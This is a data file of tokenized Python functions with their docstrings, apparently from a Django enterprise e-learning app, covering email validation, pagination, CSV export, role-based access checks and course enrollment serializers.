{"signature": "def validate_email_to_link(email, raw_email=None, message_template=None, ignore_existing=False):", "body": "raw_email = raw_email if raw_email is not None else email<EOL>message_template = message_template if message_template is not None else ValidationMessages.INVALID_EMAIL<EOL>try:<EOL><INDENT>validate_email(email)<EOL><DEDENT>except ValidationError:<EOL><INDENT>raise ValidationError(message_template.format(argument=raw_email))<EOL><DEDENT>existing_record = EnterpriseCustomerUser.objects.get_link_by_email(email)<EOL>if existing_record and not ignore_existing:<EOL><INDENT>raise ValidationError(ValidationMessages.USER_ALREADY_REGISTERED.format(<EOL>email=email, ec_name=existing_record.enterprise_customer.name<EOL>))<EOL><DEDENT>return existing_record or False<EOL>", "docstring": "Validate email to be linked to Enterprise Customer.\n\nPerforms two checks:\n    * Checks that email is valid\n    * Checks that it is not already linked to any Enterprise Customer\n\nArguments:\n    email (str): user email to link\n    raw_email (str): raw value as it was passed by user - used in error message.\n    message_template (str): Validation error template string.\n    ignore_existing (bool): If True to skip the check for an existing Enterprise Customer\n\nRaises:\n    ValidationError: if email is invalid or already linked to Enterprise Customer.\n\nReturns:\n    bool: Whether or not there is an existing record with the same email address.", "id": "f16065:m2"}
{"signature": "def get_course_runs_from_program(program):", "body": "course_runs = set()<EOL>for course in program.get(\"<STR_LIT>\", []):<EOL><INDENT>for run in course.get(\"<STR_LIT>\", []):<EOL><INDENT>if \"<STR_LIT:key>\" in run and run[\"<STR_LIT:key>\"]:<EOL><INDENT>course_runs.add(run[\"<STR_LIT:key>\"])<EOL><DEDENT><DEDENT><DEDENT>return course_runs<EOL>", "docstring": "Return course runs from program data.\n\nArguments:\n    program(dict): Program data from Course Catalog API\n\nReturns:\n    set: course runs in given program", "id": "f16065:m3"}
{"signature": "def get_earliest_start_date_from_program(program):", "body": "start_dates = []<EOL>for course in program.get('<STR_LIT>', []):<EOL><INDENT>for run in course.get('<STR_LIT>', []):<EOL><INDENT>if run.get('<STR_LIT:start>'):<EOL><INDENT>start_dates.append(parse_lms_api_datetime(run['<STR_LIT:start>']))<EOL><DEDENT><DEDENT><DEDENT>if not start_dates:<EOL><INDENT>return None<EOL><DEDENT>return min(start_dates)<EOL>", "docstring": "Get the earliest date that one of the courses in the program was available.\nFor the sake of emails to new learners, we treat this as the program start date.\n\nArguemnts:\n    program (dict): Program data from Course Catalog API\n\nreturns:\n    datetime.datetime: The date and time at which the first course started", "id": "f16065:m4"}
{"signature": "def split_usernames_and_emails(email_field):", "body": "return [name.strip() for name in email_field.split('<STR_LIT:U+002C>')]<EOL>", "docstring": "Split the contents of the email field into a list.\n\nIn some cases, a user could enter a comma-separated value inline in the\nManage Learners form. We should check to see if that's the case, and\nprovide a list of email addresses or usernames if it is.", "id": "f16065:m5"}
{"signature": "def paginated_list(object_list, page, page_size=<NUM_LIT>):", "body": "paginator = CustomPaginator(object_list, page_size)<EOL>try:<EOL><INDENT>object_list = paginator.page(page)<EOL><DEDENT>except PageNotAnInteger:<EOL><INDENT>object_list = paginator.page(<NUM_LIT:1>)<EOL><DEDENT>except EmptyPage:<EOL><INDENT>object_list = paginator.page(paginator.num_pages)<EOL><DEDENT>page_range = []<EOL>page_num = object_list.number<EOL>if paginator.num_pages <= <NUM_LIT:10>:<EOL><INDENT>page_range = range(paginator.num_pages)<EOL><DEDENT>else:<EOL><INDENT>if page_num > (PAGES_ON_EACH_SIDE + PAGES_ON_ENDS + <NUM_LIT:1>):<EOL><INDENT>page_range.extend(range(<NUM_LIT:1>, PAGES_ON_ENDS + <NUM_LIT:1>))<EOL>page_range.append(DOT)<EOL>page_range.extend(range(page_num - PAGES_ON_EACH_SIDE, page_num + <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>page_range.extend(range(<NUM_LIT:1>, page_num + <NUM_LIT:1>))<EOL><DEDENT>if page_num < (paginator.num_pages - PAGES_ON_EACH_SIDE - PAGES_ON_ENDS):<EOL><INDENT>page_range.extend(range(page_num + <NUM_LIT:1>, page_num + PAGES_ON_EACH_SIDE + <NUM_LIT:1>))<EOL>page_range.append(DOT)<EOL>page_range.extend(range(paginator.num_pages + <NUM_LIT:1> - PAGES_ON_ENDS, paginator.num_pages + <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>page_range.extend(range(page_num + <NUM_LIT:1>, paginator.num_pages + <NUM_LIT:1>))<EOL><DEDENT>object_list.paginator.page_range = page_range<EOL><DEDENT>return object_list<EOL>", "docstring": "Returns paginated list.\n\nArguments:\n    object_list (QuerySet): A list of records to be paginated.\n    page (int): Current page number.\n    page_size (int): Number of records displayed in each paginated set.\n    show_all (bool): Whether to show all records.\n\nAdopted from django/contrib/admin/templatetags/admin_list.py\nhttps://github.com/django/django/blob/1.11.1/django/contrib/admin/templatetags/admin_list.py#L50", "id": "f16065:m6"}
{"signature": "def export_as_csv_action(description=\"<STR_LIT>\", fields=None, header=True):", "body": "<EOL>def export_as_csv(modeladmin, request, queryset):  <EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>opts = modeladmin.model._meta<EOL>if not fields:<EOL><INDENT>field_names = [field.name for field in opts.fields]<EOL><DEDENT>else:<EOL><INDENT>field_names = fields<EOL><DEDENT>response = HttpResponse(content_type=\"<STR_LIT>\")<EOL>response[\"<STR_LIT>\"] = \"<STR_LIT>\".format(<EOL>filename=str(opts).replace(\"<STR_LIT:.>\", \"<STR_LIT:_>\")<EOL>)<EOL>writer = unicodecsv.writer(response, encoding=\"<STR_LIT:utf-8>\")<EOL>if header:<EOL><INDENT>writer.writerow(field_names)<EOL><DEDENT>for obj in queryset:<EOL><INDENT>row = []<EOL>for field_name in field_names:<EOL><INDENT>field = getattr(obj, field_name)<EOL>if callable(field):<EOL><INDENT>value = field()<EOL><DEDENT>else:<EOL><INDENT>value = field<EOL><DEDENT>if value is None:<EOL><INDENT>row.append(\"<STR_LIT>\")<EOL><DEDENT>elif not value and isinstance(value, string_types):<EOL><INDENT>row.append(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>row.append(value)<EOL><DEDENT><DEDENT>writer.writerow(row)<EOL><DEDENT>return response<EOL><DEDENT>export_as_csv.short_description = description<EOL>return export_as_csv<EOL>", "docstring": "Return an export csv action.\n\nArguments:\n    description (string): action description\n    fields ([string]): list of model fields to include\n    header (bool): whether or not to output the column names as the first row", "id": "f16066:m0"}
{"signature": "def get_clear_catalog_id_action(description=None):", "body": "description = description or _(\"<STR_LIT>\")<EOL>def clear_catalog_id(modeladmin, request, queryset):  <EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>queryset.update(catalog=None)<EOL><DEDENT>clear_catalog_id.short_description = description<EOL>return clear_catalog_id<EOL>", "docstring": "Return the action method to clear the catalog ID for a EnterpriseCustomer.", "id": "f16066:m1"}
{"signature": "@property<EOL><INDENT>def page_range(self):<DEDENT>", "body": "return self._page_range or list(range(<NUM_LIT:1>, self.num_pages + <NUM_LIT:1>))<EOL>", "docstring": "We have customized the getter so that it can return the value of the page_range property\ninstead of always calculating the result.", "id": "f16067:c0:m0"}
{"signature": "@page_range.setter<EOL><INDENT>def page_range(self, value):<DEDENT>", "body": "self._page_range = value<EOL>", "docstring": "We have introduced a setter method here, so as to set value for page_range property.\nThis was not present in Paginator class.", "id": "f16067:c0:m1"}
{"signature": "@property<EOL><INDENT>def auth_user_model(self):<DEDENT>", "body": "return apps.get_app_config(\"<STR_LIT>\").get_model(\"<STR_LIT>\")<EOL>", "docstring": "Return User model for django.contrib.auth.", "id": "f16068:c0:m0"}
{"signature": "def ready(self):", "body": "from enterprise.signals import handle_user_post_save<EOL>from django.db.models.signals import pre_migrate, post_save<EOL>post_save.connect(handle_user_post_save, sender=self.auth_user_model, dispatch_uid=USER_POST_SAVE_DISPATCH_UID)<EOL>pre_migrate.connect(self._disconnect_user_post_save_for_migrations)<EOL>", "docstring": "Perform other one-time initialization steps.", "id": "f16068:c0:m1"}
{"signature": "def _disconnect_user_post_save_for_migrations(self, sender, **kwargs):  ", "body": "from django.db.models.signals import post_save<EOL>post_save.disconnect(sender=self.auth_user_model, dispatch_uid=USER_POST_SAVE_DISPATCH_UID)<EOL>", "docstring": "Handle pre_migrate signal - disconnect User post_save handler.", "id": "f16068:c0:m2"}
{"signature": "@rules.predicate<EOL>def has_implicit_access_to_dashboard(user, obj):  ", "body": "request = get_request_or_stub()<EOL>decoded_jwt = get_decoded_jwt_from_request(request)<EOL>return request_user_has_implicit_access_via_jwt(decoded_jwt, ENTERPRISE_DASHBOARD_ADMIN_ROLE)<EOL>", "docstring": "Check that if request user has implicit access to `ENTERPRISE_DASHBOARD_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m0"}
{"signature": "@rules.predicate<EOL>def has_explicit_access_to_dashboard(user, obj):  ", "body": "return user_has_access_via_database(<EOL>user,<EOL>ENTERPRISE_DASHBOARD_ADMIN_ROLE,<EOL>EnterpriseFeatureUserRoleAssignment<EOL>)<EOL>", "docstring": "Check that if request user has explicit access to `ENTERPRISE_DASHBOARD_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m1"}
{"signature": "@rules.predicate<EOL>def has_implicit_access_to_catalog(user, obj):  ", "body": "request = get_request_or_stub()<EOL>decoded_jwt = get_decoded_jwt_from_request(request)<EOL>return request_user_has_implicit_access_via_jwt(decoded_jwt, ENTERPRISE_CATALOG_ADMIN_ROLE, obj)<EOL>", "docstring": "Check that if request user has implicit access to `ENTERPRISE_CATALOG_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m2"}
{"signature": "@rules.predicate<EOL>def has_explicit_access_to_catalog(user, obj):", "body": "return user_has_access_via_database(<EOL>user,<EOL>ENTERPRISE_CATALOG_ADMIN_ROLE,<EOL>EnterpriseFeatureUserRoleAssignment,<EOL>obj<EOL>)<EOL>", "docstring": "Check that if request user has explicit access to `ENTERPRISE_CATALOG_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m3"}
{"signature": "@rules.predicate<EOL>def has_implicit_access_to_enrollment_api(user, obj):  ", "body": "request = get_request_or_stub()<EOL>decoded_jwt = get_decoded_jwt_from_request(request)<EOL>return request_user_has_implicit_access_via_jwt(decoded_jwt, ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE, obj)<EOL>", "docstring": "Check that if request user has implicit access to `ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m4"}
{"signature": "@rules.predicate<EOL>def has_explicit_access_to_enrollment_api(user, obj):", "body": "return user_has_access_via_database(<EOL>user,<EOL>ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE,<EOL>EnterpriseFeatureUserRoleAssignment,<EOL>obj<EOL>)<EOL>", "docstring": "Check that if request user has explicit access to `ENTERPRISE_ENROLLMENT_API_ADMIN_ROLE` feature role.\n\nReturns:\n    boolean: whether the request user has access or not", "id": "f16069:m5"}
{"signature": "@rules.predicate<EOL>def rbac_permissions_disabled(user, obj):  ", "body": "return not waffle.switch_is_active(ENTERPRISE_ROLE_BASED_ACCESS_CONTROL_SWITCH)<EOL>", "docstring": "Temporary check for rbac based permissions being enabled.", "id": "f16069:m6"}
{"signature": "def filter_queryset(self, request, queryset, view):", "body": "if not request.user.is_staff:<EOL><INDENT>filter_kwargs = {view.USER_ID_FILTER: request.user.id}<EOL>queryset = queryset.filter(**filter_kwargs)<EOL><DEDENT>return queryset<EOL>", "docstring": "Filter only for the user's ID if non-staff.", "id": "f16070:c0:m0"}
{"signature": "def filter_queryset(self, request, queryset, view):", "body": "if request.user.is_staff:<EOL><INDENT>email = request.query_params.get('<STR_LIT:email>', None)<EOL>username = request.query_params.get('<STR_LIT:username>', None)<EOL>query_parameters = {}<EOL>if email:<EOL><INDENT>query_parameters.update(email=email)<EOL><DEDENT>if username:<EOL><INDENT>query_parameters.update(username=username)<EOL><DEDENT>if query_parameters:<EOL><INDENT>users = User.objects.filter(**query_parameters).values_list('<STR_LIT:id>', flat=True)<EOL>queryset = queryset.filter(user_id__in=users)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>queryset = queryset.filter(user_id=request.user.id)<EOL><DEDENT>return queryset<EOL>", "docstring": "Apply incoming filters only if user is staff. If not, only filter by user's ID.", "id": "f16070:c1:m0"}
{"signature": "def update_enterprise_courses(self, enterprise_customer, course_container_key='<STR_LIT>', **kwargs):", "body": "enterprise_context = {<EOL>'<STR_LIT>': enterprise_customer and enterprise_customer.identity_provider,<EOL>'<STR_LIT>': enterprise_customer and str(enterprise_customer.uuid),<EOL>}<EOL>enterprise_context.update(**kwargs)<EOL>courses = []<EOL>for course in self.data[course_container_key]:<EOL><INDENT>courses.append(<EOL>self.update_course(course, enterprise_customer, enterprise_context)<EOL>)<EOL><DEDENT>self.data[course_container_key] = courses<EOL>", "docstring": "This method adds enterprise-specific metadata for each course.\n\nWe are adding following field in all the courses.\n    tpa_hint: a string for identifying Identity Provider.\n    enterprise_id: the UUID of the enterprise\n    **kwargs: any additional data one would like to add on a per-use basis.\n\nArguments:\n    enterprise_customer: The customer whose data will be used to fill the enterprise context.\n    course_container_key: The key used to find the container for courses in the serializer's data dictionary.", "id": "f16071:c0:m0"}
{"signature": "def update_course(self, course, enterprise_customer, enterprise_context):", "body": "course['<STR_LIT>'] = self.update_course_runs(<EOL>course_runs=course.get('<STR_LIT>') or [],<EOL>enterprise_customer=enterprise_customer,<EOL>enterprise_context=enterprise_context,<EOL>)<EOL>marketing_url = course.get('<STR_LIT>')<EOL>if marketing_url:<EOL><INDENT>query_parameters = dict(enterprise_context, **utils.get_enterprise_utm_context(enterprise_customer))<EOL>course.update({'<STR_LIT>': utils.update_query_parameters(marketing_url, query_parameters)})<EOL><DEDENT>course.update(enterprise_context)<EOL>return course<EOL>", "docstring": "Update course metadata of the given course and return updated course.\n\nArguments:\n    course (dict): Course Metadata returned by course catalog API\n    enterprise_customer (EnterpriseCustomer): enterprise customer instance.\n    enterprise_context (dict): Enterprise context to be added to course runs and URLs..\n\nReturns:\n    (dict): Updated course metadata", "id": "f16071:c0:m1"}
{"signature": "def update_course_runs(self, course_runs, enterprise_customer, enterprise_context):", "body": "updated_course_runs = []<EOL>for course_run in course_runs:<EOL><INDENT>track_selection_url = utils.get_course_track_selection_url(<EOL>course_run=course_run,<EOL>query_parameters=dict(enterprise_context, **utils.get_enterprise_utm_context(enterprise_customer)),<EOL>)<EOL>enrollment_url = enterprise_customer.get_course_run_enrollment_url(course_run.get('<STR_LIT:key>'))<EOL>course_run.update({<EOL>'<STR_LIT>': enrollment_url,<EOL>'<STR_LIT>': track_selection_url,<EOL>})<EOL>marketing_url = course_run.get('<STR_LIT>')<EOL>if marketing_url:<EOL><INDENT>query_parameters = dict(enterprise_context, **utils.get_enterprise_utm_context(enterprise_customer))<EOL>course_run.update({'<STR_LIT>': utils.update_query_parameters(marketing_url, query_parameters)})<EOL><DEDENT>updated_course_runs.append(course_run)<EOL><DEDENT>return updated_course_runs<EOL>", "docstring": "Update Marketing urls in course metadata and return updated course.\n\nArguments:\n    course_runs (list): List of course runs.\n    enterprise_customer (EnterpriseCustomer): enterprise customer instance.\n    enterprise_context (dict): The context to inject into URLs.\n\nReturns:\n    (dict): Dictionary containing updated course metadata.", "id": "f16071:c0:m2"}
{"signature": "def create(self, validated_data):", "body": "pass<EOL>", "docstring": "Do not perform any operations for state changing requests.", "id": "f16072:c0:m0"}
{"signature": "def update(self, instance, validated_data):", "body": "pass<EOL>", "docstring": "Do not perform any operations for state changing requests.", "id": "f16072:c0:m1"}
{"signature": "def get_enterprise_slug(self, obj):", "body": "return obj.enterprise_customer.slug<EOL>", "docstring": "Return the slug of the associated enterprise customer.", "id": "f16072:c4:m0"}
{"signature": "def validate_username(self, value):", "body": "try:<EOL><INDENT>user = User.objects.get(username=value)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>raise serializers.ValidationError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>enterprise_customer_user = models.EnterpriseCustomerUser.objects.get(user_id=user.pk)<EOL><DEDENT>except models.EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>raise serializers.ValidationError(\"<STR_LIT>\")<EOL><DEDENT>self.enterprise_customer_user = enterprise_customer_user<EOL>return value<EOL>", "docstring": "Verify that the username has a matching user, and that the user has an associated EnterpriseCustomerUser.", "id": "f16072:c8:m0"}
{"signature": "def save(self):  ", "body": "course_id = self.validated_data['<STR_LIT>']<EOL>__, created = models.EnterpriseCourseEnrollment.objects.get_or_create(<EOL>enterprise_customer_user=self.enterprise_customer_user,<EOL>course_id=course_id,<EOL>)<EOL>if created:<EOL><INDENT>track_enrollment('<STR_LIT>', self.enterprise_customer_user.user_id, course_id)<EOL><DEDENT>", "docstring": "Save the model with the found EnterpriseCustomerUser.", "id": "f16072:c8:m1"}
{"signature": "def to_representation(self, instance):", "body": "request = self.context['<STR_LIT>']<EOL>enterprise_customer = instance.enterprise_customer<EOL>representation = super(EnterpriseCustomerCatalogDetailSerializer, self).to_representation(instance)<EOL>paginated_content = instance.get_paginated_content(request.GET)<EOL>count = paginated_content['<STR_LIT:count>']<EOL>search_results = paginated_content['<STR_LIT>']<EOL>for item in search_results:<EOL><INDENT>content_type = item['<STR_LIT>']<EOL>marketing_url = item.get('<STR_LIT>')<EOL>if marketing_url:<EOL><INDENT>item['<STR_LIT>'] = utils.update_query_parameters(<EOL>marketing_url, utils.get_enterprise_utm_context(enterprise_customer)<EOL>)<EOL><DEDENT>if content_type == '<STR_LIT>':<EOL><INDENT>item['<STR_LIT>'] = instance.get_course_enrollment_url(item['<STR_LIT:key>'])<EOL><DEDENT>if content_type == '<STR_LIT>':<EOL><INDENT>item['<STR_LIT>'] = instance.get_course_run_enrollment_url(item['<STR_LIT:key>'])<EOL><DEDENT>if content_type == '<STR_LIT>':<EOL><INDENT>item['<STR_LIT>'] = instance.get_program_enrollment_url(item['<STR_LIT>'])<EOL><DEDENT><DEDENT>previous_url = None<EOL>next_url = None<EOL>page = int(request.GET.get('<STR_LIT>', '<STR_LIT:1>'))<EOL>request_uri = request.build_absolute_uri()<EOL>if paginated_content['<STR_LIT>']:<EOL><INDENT>previous_url = utils.update_query_parameters(request_uri, {'<STR_LIT>': page - <NUM_LIT:1>})<EOL><DEDENT>if paginated_content['<STR_LIT>']:<EOL><INDENT>next_url = utils.update_query_parameters(request_uri, {'<STR_LIT>': page + <NUM_LIT:1>})<EOL><DEDENT>representation['<STR_LIT:count>'] = count<EOL>representation['<STR_LIT>'] = previous_url<EOL>representation['<STR_LIT>'] = next_url<EOL>representation['<STR_LIT>'] = search_results<EOL>return representation<EOL>", "docstring": "Serialize the EnterpriseCustomerCatalog object.\n\nArguments:\n    instance (EnterpriseCustomerCatalog): The EnterpriseCustomerCatalog to serialize.\n\nReturns:\n    dict: The EnterpriseCustomerCatalog converted to a dict.", "id": "f16072:c10:m0"}
{"signature": "def get_data_sharing_consent_records(self, obj):", "body": "return [record.serialize() for record in obj.data_sharing_consent_records]<EOL>", "docstring": "Return serialization of EnterpriseCustomerUser.data_sharing_consent_records property.\n\nArguments:\n    EnterpriseCustomerUser: The EnterpriseCustomerUser.\n\nReturns:\n    list of dict: The serialized DataSharingConsent records associated with the EnterpriseCustomerUser.", "id": "f16072:c11:m0"}
{"signature": "def get_groups(self, obj):", "body": "if obj.user:<EOL><INDENT>return [group.name for group in obj.user.groups.filter(name__in=ENTERPRISE_PERMISSION_GROUPS)]<EOL><DEDENT>return []<EOL>", "docstring": "Return the enterprise related django groups that this user is a part of.", "id": "f16072:c11:m1"}
{"signature": "def validate_username(self, value):", "body": "try:<EOL><INDENT>self.user = User.objects.get(username=value)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>raise serializers.ValidationError(\"<STR_LIT>\")<EOL><DEDENT>return value<EOL>", "docstring": "Verify that the username has a matching user.", "id": "f16072:c12:m0"}
{"signature": "def save(self):  ", "body": "enterprise_customer = self.validated_data['<STR_LIT>']<EOL>ecu = models.EnterpriseCustomerUser(<EOL>user_id=self.user.pk,<EOL>enterprise_customer=enterprise_customer,<EOL>)<EOL>ecu.save()<EOL>", "docstring": "Save the EnterpriseCustomerUser.", "id": "f16072:c12:m1"}
{"signature": "def to_representation(self, instance):", "body": "updated_course = copy.deepcopy(instance)<EOL>enterprise_customer_catalog = self.context['<STR_LIT>']<EOL>updated_course['<STR_LIT>'] = enterprise_customer_catalog.get_course_enrollment_url(<EOL>updated_course['<STR_LIT:key>']<EOL>)<EOL>for course_run in updated_course['<STR_LIT>']:<EOL><INDENT>course_run['<STR_LIT>'] = enterprise_customer_catalog.get_course_run_enrollment_url(<EOL>course_run['<STR_LIT:key>']<EOL>)<EOL><DEDENT>return updated_course<EOL>", "docstring": "Return the updated course data dictionary.\n\nArguments:\n    instance (dict): The course data.\n\nReturns:\n    dict: The updated course data.", "id": "f16072:c16:m0"}
{"signature": "def to_representation(self, instance):", "body": "updated_course_run = copy.deepcopy(instance)<EOL>enterprise_customer_catalog = self.context['<STR_LIT>']<EOL>updated_course_run['<STR_LIT>'] = enterprise_customer_catalog.get_course_run_enrollment_url(<EOL>updated_course_run['<STR_LIT:key>']<EOL>)<EOL>return updated_course_run<EOL>", "docstring": "Return the updated course run data dictionary.\n\nArguments:\n    instance (dict): The course run data.\n\nReturns:\n    dict: The updated course run data.", "id": "f16072:c17:m0"}
{"signature": "def to_representation(self, instance):", "body": "updated_program = copy.deepcopy(instance)<EOL>enterprise_customer_catalog = self.context['<STR_LIT>']<EOL>updated_program['<STR_LIT>'] = enterprise_customer_catalog.get_program_enrollment_url(<EOL>updated_program['<STR_LIT>']<EOL>)<EOL>for course in updated_program['<STR_LIT>']:<EOL><INDENT>course['<STR_LIT>'] = enterprise_customer_catalog.get_course_enrollment_url(course['<STR_LIT:key>'])<EOL>for course_run in course['<STR_LIT>']:<EOL><INDENT>course_run['<STR_LIT>'] = enterprise_customer_catalog.get_course_run_enrollment_url(<EOL>course_run['<STR_LIT:key>']<EOL>)<EOL><DEDENT><DEDENT>return updated_program<EOL>", "docstring": "Return the updated program data dictionary.\n\nArguments:\n    instance (dict): The program data.\n\nReturns:\n    dict: The updated program data.", "id": "f16072:c18:m0"}
{"signature": "def to_internal_value(self, data):", "body": "if not isinstance(data, list):<EOL><INDENT>message = self.error_messages['<STR_LIT>'].format(<EOL>input_type=type(data).__name__<EOL>)<EOL>raise serializers.ValidationError({<EOL>api_settings.NON_FIELD_ERRORS_KEY: [message]<EOL>})<EOL><DEDENT>ret = []<EOL>for item in data:<EOL><INDENT>try:<EOL><INDENT>validated = self.child.run_validation(item)<EOL><DEDENT>except serializers.ValidationError as exc:<EOL><INDENT>ret.append(exc.detail)<EOL><DEDENT>else:<EOL><INDENT>ret.append(validated)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "This implements the same relevant logic as ListSerializer except that if one or more items fail validation,\nprocessing for other items that did not fail will continue.", "id": "f16072:c20:m0"}
{"signature": "def create(self, validated_data):", "body": "ret = []<EOL>for attrs in validated_data:<EOL><INDENT>if '<STR_LIT>' not in attrs and not any(isinstance(attrs[field], list) for field in attrs):<EOL><INDENT>ret.append(self.child.create(attrs))<EOL><DEDENT>else:<EOL><INDENT>ret.append(attrs)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "This selectively calls the child create method based on whether or not validation failed for each payload.", "id": "f16072:c20:m1"}
{"signature": "def to_representation(self, data):", "body": "return [<EOL>self.child.to_representation(item) if '<STR_LIT>' in item else item for item in data<EOL>]<EOL>", "docstring": "This selectively calls to_representation on each result that was processed by create.", "id": "f16072:c20:m2"}
{"signature": "def create(self, validated_data):", "body": "enterprise_customer = self.context.get('<STR_LIT>')<EOL>lms_user = validated_data.get('<STR_LIT>')<EOL>tpa_user = validated_data.get('<STR_LIT>')<EOL>user_email = validated_data.get('<STR_LIT>')<EOL>course_run_id = validated_data.get('<STR_LIT>')<EOL>course_mode = validated_data.get('<STR_LIT>')<EOL>cohort = validated_data.get('<STR_LIT>')<EOL>email_students = validated_data.get('<STR_LIT>')<EOL>is_active = validated_data.get('<STR_LIT>')<EOL>enterprise_customer_user = lms_user or tpa_user or user_email<EOL>if isinstance(enterprise_customer_user, models.EnterpriseCustomerUser):<EOL><INDENT>validated_data['<STR_LIT>'] = enterprise_customer_user<EOL>try:<EOL><INDENT>if is_active:<EOL><INDENT>enterprise_customer_user.enroll(course_run_id, course_mode, cohort=cohort)<EOL><DEDENT>else:<EOL><INDENT>enterprise_customer_user.unenroll(course_run_id)<EOL><DEDENT><DEDENT>except (CourseEnrollmentDowngradeError, CourseEnrollmentPermissionError, HttpClientError) as exc:<EOL><INDENT>validated_data['<STR_LIT>'] = str(exc)<EOL>return validated_data<EOL><DEDENT>if is_active:<EOL><INDENT>track_enrollment('<STR_LIT>', enterprise_customer_user.user_id, course_run_id)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if is_active:<EOL><INDENT>enterprise_customer_user = enterprise_customer.enroll_user_pending_registration(<EOL>user_email,<EOL>course_mode,<EOL>course_run_id,<EOL>cohort=cohort<EOL>)<EOL><DEDENT>else:<EOL><INDENT>enterprise_customer.clear_pending_registration(user_email, course_run_id)<EOL><DEDENT><DEDENT>if email_students:<EOL><INDENT>enterprise_customer.notify_enrolled_learners(<EOL>self.context.get('<STR_LIT>'),<EOL>course_run_id,<EOL>[enterprise_customer_user]<EOL>)<EOL><DEDENT>validated_data['<STR_LIT>'] = '<STR_LIT:success>'<EOL>return validated_data<EOL>", "docstring": "Perform the enrollment for existing enterprise customer users, or create the pending objects for new users.", "id": "f16072:c21:m0"}
{"signature": "def validate_lms_user_id(self, value):", "body": "enterprise_customer = self.context.get('<STR_LIT>')<EOL>try:<EOL><INDENT>return models.EnterpriseCustomerUser.objects.get(<EOL>user_id=value,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL><DEDENT>except models.EnterpriseCustomerUser.DoesNotExist:<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Validates the lms_user_id, if is given, to see if there is an existing EnterpriseCustomerUser for it.", "id": "f16072:c21:m1"}
{"signature": "def validate_tpa_user_id(self, value):", "body": "enterprise_customer = self.context.get('<STR_LIT>')<EOL>try:<EOL><INDENT>tpa_client = ThirdPartyAuthApiClient()<EOL>username = tpa_client.get_username_from_remote_id(<EOL>enterprise_customer.identity_provider, value<EOL>)<EOL>user = User.objects.get(username=username)<EOL>return models.EnterpriseCustomerUser.objects.get(<EOL>user_id=user.id,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL><DEDENT>except (models.EnterpriseCustomerUser.DoesNotExist, User.DoesNotExist):<EOL><INDENT>pass<EOL><DEDENT>return None<EOL>", "docstring": "Validates the tpa_user_id, if is given, to see if there is an existing EnterpriseCustomerUser for it.\n\nIt first uses the third party auth api to find the associated username to do the lookup.", "id": "f16072:c21:m2"}
{"signature": "def validate_user_email(self, value):", "body": "enterprise_customer = self.context.get('<STR_LIT>')<EOL>try:<EOL><INDENT>user = User.objects.get(email=value)<EOL>return models.EnterpriseCustomerUser.objects.get(<EOL>user_id=user.id,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL><DEDENT>except (models.EnterpriseCustomerUser.DoesNotExist, User.DoesNotExist):<EOL><INDENT>pass<EOL><DEDENT>return value<EOL>", "docstring": "Validates the user_email, if given, to see if an existing EnterpriseCustomerUser exists for it.\n\nIf it does not, it does not fail validation, unlike for the other field validation methods above.", "id": "f16072:c21:m3"}
{"signature": "def validate_course_run_id(self, value):", "body": "enterprise_customer = self.context.get('<STR_LIT>')<EOL>if not enterprise_customer.catalog_contains_course(value):<EOL><INDENT>raise serializers.ValidationError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>course_run_id=value,<EOL>enterprise_customer=enterprise_customer.name,<EOL>)<EOL>)<EOL><DEDENT>return value<EOL>", "docstring": "Validates that the course run id is part of the Enterprise Customer's catalog.", "id": "f16072:c21:m4"}
{"signature": "def validate(self, data):  ", "body": "lms_user_id = data.get('<STR_LIT>')<EOL>tpa_user_id = data.get('<STR_LIT>')<EOL>user_email = data.get('<STR_LIT>')<EOL>if not lms_user_id and not tpa_user_id and not user_email:<EOL><INDENT>raise serializers.ValidationError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>return data<EOL>", "docstring": "Validate that at least one of the user identifier fields has been passed in.", "id": "f16072:c21:m5"}
{"signature": "def ensure_data_exists(self, request, data, error_message=None):", "body": "if not data:<EOL><INDENT>error_message = (<EOL>error_message or \"<STR_LIT>\".format(request.get_full_path())<EOL>)<EOL>LOGGER.error(error_message)<EOL>raise NotFound(error_message)<EOL><DEDENT>", "docstring": "Ensure that the wrapped API client's response brings us valid data. If not, raise an error and log it.", "id": "f16073:c0:m0"}
